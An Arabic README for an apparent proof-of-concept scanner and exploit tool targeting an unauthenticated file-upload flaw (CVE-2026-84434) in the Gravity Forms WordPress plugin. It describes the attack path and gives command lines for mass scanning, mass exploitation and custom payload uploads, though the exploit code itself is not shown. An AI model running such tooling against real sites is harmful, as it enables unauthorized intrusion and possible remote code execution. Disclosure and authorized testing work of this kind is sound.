ماسح ومستغل PoC بلغة Python 3 لـ CVE-2026-84434 في Gravity Forms.
| |
|---|
| الإضافة | gravityforms |
| المتأثرة | ≤ 3.1.0.4 |
| تم الإصلاح في | 3.1.0.5+ (إصدار أمان المورّد 3.1.1) |
| CVSS | 9.8 (حرج) |
| المصادقة | بدون مصادقة |
| CWE | CWE-434 — رفع غير مقيّد |
| الفضل | 0xd4rk5id3 — EnvoraSec (Wordfence) |
الملخص
تتجاوز حقول رفع الملفات المخفية التحقق من الامتداد في خط أنابيب التحقق، بينما قد يستدعي مسار الحفظ upload_file() دون فحوصات مكافئة. يمكن لمهاجم غير مُصادَق إرسال طلب POST إلى نموذج عام يتضمن حقل رفع ملفات مع الظهور → مخفي.
تُخزَّن الملفات تحت wp-content/uploads/gravity_forms/. عادةً ما تضيف Gravity Forms قواعد .htaccess لمنع تنفيذ PHP؛ يعتمد تنفيذ التعليمات البرمجية عن بُعد (RCE) على إعدادات الخادم (nginx، docroot بديل، إلخ).
مسار الهجوم
- اكتشاف Gravity Forms والإصدار ≤ 3.1.0.4
- الزحف عبر الصفحات العامة بحثًا عن
gform_wrapper وحقل fileupload مخفي (input_{form}_{field})
- ملء الحقول المرئية المطلوبة بقيم مؤقتة
- طلب POST متعدد الأجزاء (
gform_submit، is_submit_{id}، الملف على الحقل المخفي)
- التأكيد عبر رسالة التأكيد / تلميحات الإدخال / جلب علامة اختيارية
المتطلبات
- Python 3.9+
pip install -r requirements.txt
الاستخدام
pip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
خيارات سطر الأوامر
المخرجات (الفحص الجماعي)
| الملف | المحتوى |
|---|
cve_2026_84434_results.jsonl |
قيم status الشائعة (check)
القيود
- وضع الفحص يرى فقط حقول الرفع المخفية المُصيَّرة في HTML العام؛ الحقول المخفية الخاصة بالمسؤول فقط لا يمكن اكتشافها عن بُعد.
- تحتوي قوائم نمط FOFA على العديد من المواقع المُرقَّعة أو النماذج بدون رفع مخفي — توقّع معدل مرشحين منخفض.
- الاستغلال الافتراضي يرفع علامة نصية غير ضارة، وليس webshell.
هيكل المستودع
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
قوائم الفحص المحلية والمخرجات (list.txt، *.jsonl، الحمولات المخصصة) موجودة في .gitignore ولا ينبغي إيداعها.
القانوني
لـ اختبارات الأمان المصرّح بها فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرنامج.